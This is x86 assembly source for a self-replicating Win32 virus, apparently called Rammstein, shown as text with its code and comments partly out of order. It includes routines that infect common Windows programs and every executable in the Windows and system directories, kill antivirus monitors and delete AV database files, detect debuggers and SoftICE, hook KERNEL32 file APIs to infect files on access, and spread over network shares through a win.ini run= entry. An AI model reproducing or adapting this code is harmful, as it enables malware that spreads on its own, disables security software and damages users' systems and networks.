;Infect it!! ; ; ; next_direct: ; @endsz ;go to end of string jmp direct_loop ;and do it again... ENDIF ; ; direct_end: ; lea esi, [ebp+offset direct_list] ;point names again and mov ecx, direct_list_len ;restore encryption call not_list ; ; IF THREAD1SEH ; jmp restore_thread1_seh ;host ; Thread1Exception: ;if we had an error we mov esp, [esp+8] ;must restore the ESP call DeltaRecover1 ; DeltaRecover1: ; pop ebp ; sub ebp, offset DeltaRecover1 ; ; restore_thread1_seh: ; pop dword ptr fs:[0] ;and restore the SEH add esp, 4 ; ENDIF ; ; push 0 ; push 5 ; push [ebp+hsemaphore] ; call [ebp+_ReleaseSemaphore] ;release the semaphore call [ebp+_ExitThread], 0 ; Thread_1_StartAddress endp ; ; direct_list: ;the direct action list IF DEBUG ;if debug is on only noter <L> ; noter <DGoat*.*> ;goat files will be ELSE ;infected... noter <L> ; noter <Cdplayer.exe> ; Like CD music? noter <Notepad.exe> ; Like to write stuff? noter <Wordpad.exe> ; Like to write better?<g> noter <Calc.exe> ; Like to calculate? noter <DrWatson.exe> ; Fear the errors? noter <Extrac32.exe> ; Like to extract? noter <Mplayer.exe> ; Like mpegs? noter <MsHearts.exe> ; Like stupid games? noter <WinMine.exe> ; And more stupid games? noter <Sol.exe> ; And still more stupid? noter <SndVol32.exe> ; Like to adjust yer vol? noter <WinHlp32.exe> ; Are you using help? ENDIF ; Well... TO BAD !!!! ;-) direct_list_len = $ - offset direct_list ; db 0FFh ; ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;Û This Thread is the directory infector thread ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Thread_2_StartAddress proc PASCAL tdelta: dword ; call @Thread2Delta ; @Thread2Delta: ;

call InfectFile pop edi mov [ebp+free_routine], AVAILABLE

pop ebp sub ebp, offset @Thread2Delta IF THREAD2SEH lea eax, [ebp+Thread2Exception] push eax push dword ptr fs:[0] mov fs:[0], esp ENDIF push 0 call [ebp+_GetDriveTypeA] sub [ebp+crt_dir_flag], eax push 260 call @1 db 260 dup(0) call [ebp+_GetWindowsDirectoryA]

wdir @1:

push 260 call @2 sysdir db 260 dup(0) @2: call [ebp+_GetSystemDirectoryA] call @3 crtdir db 260 dup(0) @3: push 260 call [ebp+_GetCurrentDirectoryA] cmp dword ptr [ebp+crt_dir_flag], 0 jne direct_to_windows mov dword ptr [ebp+infections], 0FFFFh call Infect_Directory direct_to_windows: cmp [ebp+firstgen], 1 je back_to_current_dir lea eax, [ebp+offset wdir] push eax call [ebp+_SetCurrentDirectoryA] mov dword ptr [ebp+infections], 3 call Infect_Directory lea eax, [ebp+offset sysdir] push eax call [ebp+_SetCurrentDirectoryA] mov dword ptr [ebp+infections], 3 call Infect_Directory back_to_current_dir: lea eax, [ebp+offset crtdir] push eax call [ebp+_SetCurrentDirectoryA] IF THREAD2SEH jmp restore_thread2_seh Thread2Exception: mov esp, [esp+8]

; ; ; ; ; Setup a SEH frame ; ; ; ; ; ;Get the drive type. If ;it is a fixed drive ;than this value = 0 ; ;Get Windows directory ; ; ; ; ;Get System directory ; ; ; ; ;Get current directory ; ; ; ; ;are we on a fixed disk? ; ; ;infect all files there ; ; ; ; ; ; ;Change to Windows dir. ; ; ; ;infect 3 files there ; ; ;Change to System dir. ; ; ; ;infect 3 files there ; ; ; ;Change back to crt dir. ; ; ; ; ;host ; ;if we had an error we ;must restore the ESP

call DeltaRecover2 DeltaRecover2: pop ebp sub ebp, offset DeltaRecover2 restore_thread2_seh: pop dword ptr fs:[0] add esp, 4 ENDIF push 0 push 5 push [ebp+hsemaphore] call [ebp+_ReleaseSemaphore] call [ebp+_ExitThread], 0 infections dd 0 crt_dir_flag dd 3 Infect_Directory proc pusha lea esi, [ebp+file_extensions] mov ecx, file_extensions_len call not_list inc esi inc esi find_first_file: cmp byte ptr [esi], 0FFh je done_directory lea edi, [ebp+offset W32FD] call [ebp+_FindFirstFileA], esi, edi mov edx, eax compare_result: cmp eax, INVALID_HANDLE_VALUE je next_extension or eax, eax je next_extension push edi lea edi, [edi.WFD_cFileName] @002: cmp [ebp+free_routine], NOT_AVAILABLE je @002 mov [ebp+free_routine], NOT_AVAILABLE call InfectFile mov [ebp+free_routine], AVAILABLE pop edi jc find_next_file dec [ebp+infections] cmp [ebp+infections], 0 jz done_directory find_next_file: push edx call [ebp+_FindNextFileA], edx, edi pop edx jmp compare_result next_extension: @endsz jmp find_first_file done_directory: lea esi, [ebp+file_extensions]

; ; ; ; ; ; ;and restore the SEH ; ; ; ; ; ; ; ; ; ; ; ;directory scanner ; ;restore filenames ; ; ; ; ; ; ;last? ; ;find first!! ; ; ; ; ; ; ; ; ; ;point name... ;syncronize!!! ; ; ;infect it! ; ; ; ; ; ; ; ; ; ;find next ; ; ; ; ; ; ; ; ;recrypt the extenstions

mov ecx, file_extensions_len call not_list popa ret Infect_Directory endp

; ; ; ; ; ; file_extensions: ;the list with valid IF DEBUG ; noter <L> ; noter <GOAT*.EXE> ;extensions noter <GOAT*.COM> ; noter <GOAT*.ACM> ; noter <GOAT*.CPL> ; noter <GOAT*.HDI> ; noter <GOAT*.OCX> ; noter <GOAT*.PCI> ; noter <GOAT*.QTC> ; noter <GOAT*.SCR> ; noter <GOAT*.X32> ; noter <GOAT*.CNV> ; noter <GOAT*.FMT> ; noter <GOAT*.OCM> ; noter <GOAT*.OLB> ; noter <GOAT*.WPC> ; ELSE ;extensions noter <L> ; noter <*.EXE> ;normal exe noter <*.COM> ;same noter <*.ACM> ; noter <*.CPL> ;control panel object noter <*.HDI> ;heidi file noter <*.OCX> ;windowz ocx noter <*.PCI> ; noter <*.QTC> ; noter <*.SCR> ;screen saver noter <*.X32> ; noter <*.CNV> ; noter <*.FMT> ; noter <*.OCM> ; noter <*.OLB> ; noter <*.WPC> ; ENDIF ; file_extensions_len = $-offset file_extensions ; db 0FFh ; Thread_2_StartAddress endp ; ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;Û This Thread is the AV monitors and checksums killer thread ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Thread_3_StartAddress proc PASCAL tdelta: dword ; call @Thread3Delta ; @Thread3Delta: ; pop ebp ; sub ebp, offset @Thread3Delta ; ; IF THREAD3SEH ; lea eax, [ebp+Thread3Exception] ; Setup a SEH frame push eax ; push dword ptr fs:[0] ; mov fs:[0], esp ; ENDIF ; ; IF ANTIAV ; lea esi, [ebp+av_monitors] ;First kill some monitors

; ; LocateMonitors: ; push ecx ; call [ebp+_FindWindowA], 0, esi ; xchg eax, ecx ; jecxz get_next_monitor ; call [ebp+_PostMessageA], ecx, WM_ENDSESSION, 0, 0 ; get_next_monitor: ; @endsz ; pop ecx ; loop LocateMonitors ; ; lea esi, [ebp+offset av_list] ;point av files list mov ecx, av_list_len ;and call not_list ;restore names... inc esi ; inc esi ; lea edi, [ebp+offset searchfiles] ;point to Search Record ; locate_next_av: ; mov eax, esi ; cmp byte ptr [eax], 0FFh ;is this the end? je av_kill_done ; push edi ;push search rec. address push eax ;push filename address call [ebp+_FindFirstFileA] ;find first match inc eax ; jz next_av_file ; dec eax ; push eax ; lea ebx, [edi.WFD_cFileName] ;ESI = ptr to filename push 80h ; push ebx ; call [ebp+_SetFileAttributesA] ; push ebx ;push filename address call [ebp+_DeleteFileA] ;delete file! ; call [ebp+_FindClose] ;close the find handle ; next_av_file: ; @endsz ; jmp locate_next_av ; ; av_kill_done: ; lea esi, [ebp+offset av_list] ;point av files list mov ecx, av_list_len ; call not_list ;hide names... ENDIF ; ; IF THREAD3SEH ; jmp restore_thread3_seh ;host ; Thread3Exception: ;if we had an error we mov esp, [esp+8] ;must restore the ESP call DeltaRecover3 ; DeltaRecover3: ; pop ebp ; sub ebp, offset DeltaRecover3 ; ; restore_thread3_seh: ; pop dword ptr fs:[0] ;and restore the SEH

mov ecx, monitors_nr

; ; ; push 0 ; push 5 ; push [ebp+hsemaphore] ; call [ebp+_ReleaseSemaphore] ; call [ebp+_ExitThread], 0 ; Thread_3_StartAddress endp ; av_monitors label ; db 'AVP Monitor', 0 ; db 'Amon Antivirus Monitor', 0 ; monitors_nr = 2 ; ; searchfiles WIN32_FIND_DATA <?> ; ; av_list label ; noter <L> ; noter <AVP.CRC> ;the av files to kill noter <IVP.NTZ> ; noter <Anti-Vir.DAT> ; noter <CHKList.MS> ; noter <CHKList.CPS> ; noter <SmartCHK.MS> ; noter <SmartCHK.CPS> ; noter <AVG.AVI> ; noter <NOD32.000> ; noter <DRWEBASE.VDB> ; noter <AGUARD.DAT> ; noter <AVGQT.DAT> ; noter <LGUARD.VPS> ; av_list_len = $ - offset av_list ; db 0FFh ; ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;Û This Thread is the anti-debugging and anti-emulation thread ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Thread_4_StartAddress proc PASCAL tdelta: dword ; call @Thread4Delta ; @Thread4Delta: ; pop ebp ; sub ebp, offset @Thread4Delta ; ; IF THREAD4SEH ; lea eax, [ebp+Thread4Exception] ; Setup a SEH frame push eax ; push dword ptr fs:[0] ; mov fs:[0], esp ; ENDIF ; ; IF ANTIEMU ; lea eax, [ebp+DebuggerKill] ;antidebugging stuffs. push eax ;Here we set up a new xor ebx, ebx ;seh frame and then we push dword ptr fs:[ebx] ;make an exception error mov fs:[ebx], esp ;occur. dec dword ptr [ebx] ;TD stops here if in ;default mode. jmp shut_down ; ; DebuggerKill: ; mov esp, [esp+8] ;the execution goes here pop dword ptr fs:[0] ; add esp, 4 ;

add esp, 4 ENDIF

db 0BDh delta2 dd 0 call @7 db 'IsDebuggerPresent', 0 push [ebp+k32] call [ebp+_GetProcAddress] or eax, eax jz continue_antiemu call eax or eax, eax jne shut_down mov ecx, fs:[20h] jecxz softice jmp shut_down softice: lea edi, [ebp+SoftIce1] call detect_softice jc shut_down lea edi, [ebp+SoftIce1] call detect_softice jc shut_down jmp nod_ice detect_softice: xor eax, eax push eax push 00000080h push 00000003h push eax inc eax push eax push 80000000h or 40000000h push edi call [ebp+_CreateFileA] inc eax jz cantcreate dec eax push eax call [ebp+_CloseHandle] stc db 0c3h cantcreate: clc db 0c3h nod_ice: cmp byte ptr [ebp+version], 4 jae cannot_kill_debug lea esi, [ebp+drs] mov ecx, 7 lea edi, [ebp+bait] repp: lodsb

@7:

; ;delta gets lost so we ;must restore it... ; ;here we try to retrieve ;IsDebuggerPresent API ;if we fail it means we ;don't have this api ;(Windows95) ; ; ;Let's check if our ;process is being ;debugged. ; ; ECX = Context of debugger ; If ECX<>0, we're debugged ; ; ; ;try to see if we are ;being debugged by ;softice ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;can we use debug regs? ; ; ;Debug Registers opcodes ;7 registers ;point the opcode place ; ; ;take the opcode

;generate instruction ;call it! ;do it again ; ; zapp: ; xor eax, eax ;eax = 0 dw 230fh ;to mov DRx, eax bait label ; db 0 ; db 0C3h ; ; drs db 0c0h, 0c8h, 0d0h, 0d8h, 0e8h, 0f0h, 0f8h ;debug registers opcodes ; compute_now: ; mov eax, dr0 ; cmp eax, 0 ; jne shut_down ; ; cannot_kill_debug: ; IF MMX ; cmp [ebp+mmx], TRUE ; jne no_mmx_here ; mov ecx, 6666h ;do some loops mov eax, 1111h ;very lite mmx_usage ; movd1 mm1, esi ; ; movd1 eax, mm1 ; ; cmp eax, esi ; ; jne shut_down ; ENDIF ; ; no_mmx_here: ; mov ebx, esp ;or by nod ice and push cs ;others... pop eax ; cmp esp, ebx ; jne shut_down ; jmp continue_antiemu ; ; shut_down: ; IF DEBUG ; call [ebp+_MessageBoxA], 0, offset debug, offset debug, 0 ENDIF ; push 0 ;If so, close down!! call [ebp+_ExitProcess] ;close IF DEBUG ; debug db 'Shut down by anti-emulator', 0 ; ENDIF ; continue_antiemu: ; ELSE ; ENDIF ; ; IF THREAD4SEH ; jmp restore_thread4_seh ;host ; Thread4Exception: ;if we had an error we mov esp, [esp+8] ;must restore the ESP call DeltaRecover4 ; DeltaRecover4: ; pop ebp ; sub ebp, offset DeltaRecover4 ; ; restore_thread4_seh: ;

mov byte ptr [edi], al call zapp loop repp jmp compute_now

;and restore the SEH ; ; ; push 0 ; push 5 ; push [ebp+hsemaphore] ; call [ebp+_ReleaseSemaphore] ; call [ebp+_ExitThread], 0 ; ; SoftIce1 db "\\.\SICE",0 ; SoftIce2 db "\\.\NTICE",0 ; Thread_4_StartAddress endp ; ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;Û This Thread is the API hooker thread ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Thread_5_StartAddress proc PASCAL tdelta: dword ; call @Thread5Delta ; @Thread5Delta: ; pop ebp ; sub ebp, offset @Thread5Delta ; ; IF THREAD5SEH ; lea eax, [ebp+Thread5Exception] ; Setup a SEH frame push eax ; push dword ptr fs:[0] ; mov fs:[0], esp ; ENDIF ; ; cmp [ebp+skipper], 1 ; je error ; ; IF APIHOOK ; cmp [ebp+firstgen], 1 ;don't hook gen0 je error ; mov ebx, dword ptr [ebp+ourimagebase] ; now put imagebase in ebx mov esi, ebx ; mov ax, word ptr [esi] ; xor ax, 'GSRS' ; cmp ax, 'ZM' xor 'GSRS' ; check if it is an EXE jne error ; mov esi, dword ptr [esi.MZ_lfanew] ; get pointer to PE cmp esi, 1000h ; too far away? jae error ; add esi, ebx ; mov ax, word ptr [esi] ; xor ax, 'DC4û' ; cmp ax, 'EP' xor 'DC4û' ; is it a PE? jne error ; add esi, IMAGE_FILE_HEADER_SIZE ; skip header mov edi, dword ptr [esi.OH_DataDirectory.DE_Import.DD_VirtualAddress] add edi, ebx ; and get import RVA mov ecx, dword ptr [esi.OH_DataDirectory.DE_Import.DD_Size] add ecx, edi ; and import size mov eax, edi ; save RVA ; locate_module: ; mov edi, dword ptr [edi.ID_Name] ; get the name add edi, ebx ; push eax ; mov eax, [edi] ; xor eax, 'øSOHáý' ; cmp eax, 'NREK' xor 'øSOHáý' ; and compare to KERN

pop dword ptr fs:[0] add esp, 4 ENDIF

; ; if it is not that one ; skip to the next desc. ; ; but not beyond the size ; of the descriptor ; ; found_the_import_module: ; if we found the kernel mov edi, eax ; import descriptor mov esi, dword ptr [edi.ID_FirstThunk] ; take the pointer to add esi, ebx ; addresses mov edi, dword ptr [edi.ID_Characteristics] ; and the pointer to or edi, edi ; no names? ;-( jz error ; add edi, ebx ; names mov edx, functions_nr ; ; hooked_api_locate_loop: ; push edi ; save pointer to names mov edi, dword ptr [edi.TD_AddressOfData] ; go to the actual thunk add edi, ebx ; add edi, 2 ; and skip the hint ; push edi esi ; save these xchg edi, esi ; call StringCRC32 ; eax = crc32 ; push edi ecx ;search them... lea edi, [ebp+HookedFunctions] ; mov ecx, functions_nr ; ; check: ; cmp [edi], eax ;does it match? je found_it ; add edi, 8 ;get next... loop check ; jmp not_found ; ; found_it: ; mov eax, [edi+4] ;get the new address mov [ebp+tempcounter], edi ; add eax, ebp ;and align to imagebase pop ecx edi ; jmp found_one_api ; ; not_found: ; pop ecx edi ; ; pop esi edi ; otherwise restore ; pop edi ; restore arrays indexes ; api_next: ; add edi, 4 ; and skip to next add esi, 4 ; cmp dword ptr [esi], 0 ; 0? -> end of import je error ; jmp hooked_api_locate_loop ; ; found_one_api: ; pop esi ; restore stack pop edi ;

pop eax je found_the_import_module add eax, IMAGE_IMPORT_DESCRIPTOR_SIZE mov edi, eax cmp edi, ecx jae error jmp locate_module

pop edi pusha mov edi, [ebp+tempcounter] mov ebx, [esi] lea eax, [ebp+offset HookedFunctions] sub edi, eax mov ecx, 8 xchg eax, edi xor edx, edx div ecx imul eax, eax, proc_len lea edi, [ebp+StartOfHooks] add edi, eax mov byte ptr [edi+5], 0E9h sub ebx, edi add ebx, 05h-0fh mov [edi+6], ebx popa mov [esi], eax dec edx jz error jmp api_next ENDIF error: mov [ebp+apihookfinish], 1 IF THREAD5SEH jmp restore_thread5_seh Thread5Exception: mov esp, [esp+8] call DeltaRecover5 DeltaRecover5: pop ebp sub ebp, offset DeltaRecover5 restore_thread5_seh: pop dword ptr fs:[0] add esp, 4 ENDIF push 0 push 5 push [ebp+hsemaphore] call [ebp+_ReleaseSemaphore] call [ebp+_ExitThread], 0 Thread_5_StartAddress endp StartOfHooks label Hook_CopyFileA: call Hooker jmp [ebp+_CopyFileA] Hook_CopyFileExA: call Hooker jmp [ebp+_CopyFileExA] Hook_CreateFileA: call CreateFileHooker jmp [ebp+_CreateFileA] Hook_GetCompressedFileSizeA: call Hooker jmp [ebp+_GetCompressedFileSizeA]

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;save new api address!!! ;did we find all? ; ; ; ; ; ; ; ;host ; ;if we had an error we ;must restore the ESP ; ; ; ; ; ; ;and restore the SEH ; ; ; ; ; ; ; ; ; ; ; ;Here come the hook ;redirectors... ; ; ; ; ; ; ; ; ; ;

Hook_GetFileAttributesA: call Hooker jmp [ebp+_GetFileAttributesA] Hook_GetFileAttributesExA: call Hooker jmp [ebp+_GetFileAttributesExA] Hook_SetFileAttributesA: call Hooker jmp [ebp+_SetFileAttributesA] Hook_GetFullPathNameA: call Hooker jmp [ebp+_GetFullPathNameA] Hook_MoveFileA: call Hooker jmp [ebp+_MoveFileA] Hook_MoveFileExA: call Hooker jmp [ebp+_MoveFileExA] Hook_OpenFile: call Hooker jmp [ebp+_OpenFile] Hook_CreateProcessA: call Hooker jmp [ebp+_CreateProcessA] Hook_WinExec: call Hooker jmp [ebp+_WinExec] Hook_DestroyWindow: call ExitProcessHooker jmp [ebp+_DestroyWindow] Hook_ExitProcess: call ExitProcessHooker jmp [ebp+_ExitProcess] proc_len = $-Hook_ExitProcess Hooker proc pushad pushfd call @HookerDelta @HookerDelta: pop ebp sub ebp, offset @HookerDelta IF VIRUSNOTIFYHOOK pusha push 0 call hooktext1 db 'Rammstein viral hook code!', 0 hooktext1: call hooktext2 db 'Rammstein viral hook code!', 0 hooktext2: push 0 call [ebp+_MessageBoxA] popa ENDIF good_to_infect: mov esi, [esp+2ch] push esi call ValidateFile pop edi

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;And this is our hook... ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;first validate the file ;

jc no_good_file @003: cmp [ebp+free_routine], NOT_AVAILABLE je @003 mov [ebp+free_routine], NOT_AVAILABLE call InfectFile mov [ebp+free_routine], AVAILABLE

no_good_file: popfd popa ret Hooker endp ExitProcessHooker proc pusha call ExitHookerEbp ExitHookerEbp: pop ebp sub ebp, offset ExitHookerEbp mov [ebp+process_end], 1 cmp [ebp+fileopen], TRUE je @fo popa ret ExitProcessHooker endp @fo: CreateFileHooker proc pusha pushfd call CreateFileEbp CreateFileEbp: pop ebp sub ebp, offset CreateFileEbp mov eax, [esp+2ch+4+4+4+4] cmp eax, OPEN_EXISTING je good_to_infect popfd popa ret CreateFileHooker endp HookedFunctions: crc32 <CopyFileA> dd offset Hook_CopyFileA crc32 <CopyFileExA> dd offset Hook_CopyFileExA crc32 <CreateFileA> dd offset Hook_CreateFileA crc32 <GetCompressedFileSizeA> dd offset Hook_GetCompressedFileSizeA crc32 <GetFileAttributesA> dd offset Hook_GetFileAttributesA crc32 <GetFileAttributesExA> dd offset Hook_GetFileAttributesExA crc32 <SetFileAttributesA> dd offset Hook_SetFileAttributesA crc32 <GetFullPathNameA> dd offset Hook_GetFullPathNameA crc32 <MoveFileA> dd offset Hook_MoveFileA

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;we cannot allow shutdown ;while our thread has a ;file opened... ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

crc32 <MoveFileExA> ; dd offset Hook_MoveFileExA ; crc32 <OpenFile> ; dd offset Hook_OpenFile ; crc32 <CreateProcessA> ; dd offset Hook_CreateProcessA ; crc32 <WinExec> ; dd offset Hook_WinExec ; crc32 <XDestroyWindow> ; dd offset Hook_DestroyWindow ; crc32 <ExitProcess> ; dd offset Hook_ExitProcess ; functions_nr = ($-offset HookedFunctions)/8 ; ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;Û This Thread is the Network Infector ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Thread_6_StartAddress proc PASCAL tdelta: dword ; call @Thread6Delta ; @Thread6Delta: ; pop ebp ; sub ebp, offset @Thread6Delta ; ; IF NETWORKINFECTION ; cmp [ebp+netapis], FALSE ; je exit_netcrawl ; ; IF THREAD6SEH ; lea eax, [ebp+Thread6Exception] ; Setup a SEH frame push eax ; push dword ptr fs:[0] ; mov fs:[0], esp ; ENDIF ; ; call NetInfection C, 0 ; jmp done_net ; ; NetInfection proc C lpnr:DWORD ; ; local lpnrLocal :DWORD ; local hEnum :DWORD ; local ceEntries :DWORD ; local cbBuffer :DWORD ; ; pusha ; call get_new_delta ; get_new_delta: ; pop edx ; sub edx, offset get_new_delta ; ; mov [ceEntries], 0FFFFFFFFh ;as many entries as poss. mov [cbBuffer], 4000 ;memory buffer size lea eax, [hEnum] ;handle to enumeration mov esi, [lpnr] ;parameter call [edx+_WNetOpenEnumA], RESOURCE_CONNECTED,\ ;open the enumeration RESOURCETYPE_ANY, 0,\ ; esi, eax ; ; or eax, eax ;failed? jnz exit_net ; ; call [edx+_GlobalAlloc], GPTR, cbBuffer ;allocate memory or eax, eax ; jz exit_net ;

mov [lpnrLocal], eax enumerate: lea eax, cbBuffer push eax mov esi, [lpnrLocal] push esi lea eax, ceEntries push eax push hEnum call [edx+_WNetEnumResourceA] or eax, eax jnz free_mem mov ecx, [ceEntries] or ecx, ecx jz enumerate roam_net: push ecx esi mov eax, [esi.dwType] test eax, RESOURCETYPE_DISK jz get_next_entry mov edi, [esi.lpRemoteName] mov esi, [esi.lpLocalName] or esi, esi jz no_good_name cmp word ptr [esi],0041 jz no_good_name call RemoteInfection no_good_name: pop esi mov eax, [esi.dwUsage] test eax, RESOURCEUSAGE_CONTAINER jz get_next_entry push esi call NetInfection get_next_entry: add esi, 20h pop ecx loop roam_net jmp enumerate free_mem: call [edx+_GlobalFree], [lpnrLocal] call [edx+_WNetCloseEnum], [hEnum] exit_net: popa ret NetInfection endp

;save memory handle ; ; ;enumerate all the ;resources ; ; ; ; ; ; ; ;failed? ; ; ;how many entries? ; ; ; ; ; ; ;is it a disk resource? ; ; ; ;get remote name ;get local name ;empty? ; ; ;is it a floppy disk? ; ; ;try to infect it! ; ; ; ; ;do we have a container? ; ; ; ; ;recurse!! ; ; ;next resource! ; ; ; ;and next enumeration... ; ; ;free the memory ; ;and close enumeration. ; ; ; ; ; ;

RemoteInfection proc pusha call @___1 @___1: pop ebp sub ebp, offset @___1 push 260 lea eax, [ebp+myname] push eax push 0 call [ebp+_GetModuleFileNameA] or eax, eax jz cannot_roam lea esi, [ebp+windirs] test_paths: lea ebx, [ebp+droppername] call [ebp+_lstrcpy], ebx, edi lea ebx, [ebp+winininame] call [ebp+_lstrcpy], ebx, edi lea ebx, [ebp+droppername] call [ebp+_lstrcat], ebx, esi lea eax, [ebp+drop] call [ebp+_lstrcat], ebx, eax push TRUE push ebx lea eax, [ebp+myname] push eax call [ebp+_CopyFileA] or eax, eax jz test_next lea ebx, [ebp+winininame] call [ebp+_lstrcat], ebx, esi lea eax, [ebp+winini] call [ebp+_lstrcat], ebx, eax lea eax, [ebp+winininame] push eax lea eax, [ebp+droppername] push eax lea eax, [ebp+cmd] push eax inc esi push esi call [ebp+_WritePrivateProfileStringA] jmp cannot_roam test_next: @endsz cmp byte ptr [esi], 0fh jne test_paths cannot_roam: popa ret smash_dropper proc pusha

; ; ;restore the delta handle ; ; ; ; ;get the current file ;name ; ; ; ; ; ; ;point windows dir names ; ; ;copy path for dropper ; ;copy path for win.ini ; ; ;copy windows dir ; ;and dropper name ; ; ;now copy ourself over ;the LAN under the new ;name into the remote ;windows directory ; ; ; ; ;copy the windows dir name ;to the win.ini path ; ;and it's name ; ;Now create this entry ;into the win.ini file: ; ;[Windows] ;run=c:\windows\ramm.exe ; ; ; ; ; ; ; ;go and try the next ;windows path! ; ; ; ; ; ; ;this procedure acts like ;this:

push 260 call ramm_name r_n: db 260 dup(0) ramm_name: call [ebp+_GetWindowsDirectoryA] lea edx, [ebp+r_n] push edx call [ebp+_lstrlen] mov edi, eax lea eax, [ebp+drop] push eax lea edx, [ebp+r_n] push edx call [ebp+_lstrcat] lea eax, [ebp+W32FD] push eax push edx call [ebp+_FindFirstFileA] mov [ebp+ok], 0 cmp eax, INVALID_HANDLE_VALUE je no_file mov [ebp+ok], 1 no_file: lea edx, [ebp+r_n] lea eax, [ebp+droppername] push edx push eax call [ebp+_lstrcpy] mov byte ptr [edx+edi], 0 lea eax, [ebp+winini] push eax push edx call [ebp+_lstrcat] push 0 push 0 push OPEN_EXISTING push 0 push 0 push GENERIC_READ + GENERIC_WRITE push edx call [ebp+_CreateFileA] inc eax jz no_need dec eax mov [ebp+hfile], eax push 0 push eax call [ebp+_GetFileSize] mov [ebp+filesize], eax push push push push push push 0 [ebp+filesize] 0 PAGE_READWRITE 0 [ebp+hfile]

;if the file ramm.exe ;exists in the windows dir ;and there is no entry ;to run it at next boot ;in the win.ini file, then ;it will erase the file. ;if the file ramm.exe ;does not exist, but there ;is an entry in the win ;ini file, then it will ;remove the entry. ;If both are present ;they are left alone. ; ; ; ; ;locate ramm.exe ; ; ; ; ; ; ; ; ; ;save name ; ; ; ; ; ; ; ; ; ; ;open win.ini ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

call [ebp+_CreateFileMappingA] or eax, eax jz no_need_1 mov [ebp+hmap], eax push push push push push call [ebp+filesize] 0 0 FILE_MAP_ALL_ACCESS [ebp+hmap] [ebp+_MapViewOfFile]

or eax, eax jz no_need_2 mov [ebp+haddress], eax mov ecx, [ebp+filesize] sub ecx, 8 src_loop: cmp dword ptr [eax] , 'mmar' jne no_ramm cmp dword ptr [eax+4], 'exe.' je found_ramm no_ramm: inc eax loop src_loop lea eax, [ebp+droppername] push eax call [ebp+_DeleteFileA] jmp kill_memo found_ramm: cmp [ebp+ok], 0 jne kill_memo mov edx, eax add edx, 8 rep_for_run: cmp [eax], "=nur" je finished_searching dec eax cmp eax, [ebp+haddress] je kill_memo jmp rep_for_run finished_searching: mov edi, eax mov al, " " mov ecx, edx sub ecx, edi rep stosb kill_memo: push [ebp+haddress] call [ebp+_UnmapViewOfFile] no_need_2: push [ebp+hmap]

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;search "ramm.exe" ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;search backwards for ;"run=" ; ; ; ; ; ; ;put blanks over it! ; ; ; ; ; ; ;close win.ini! ; ; ; ;

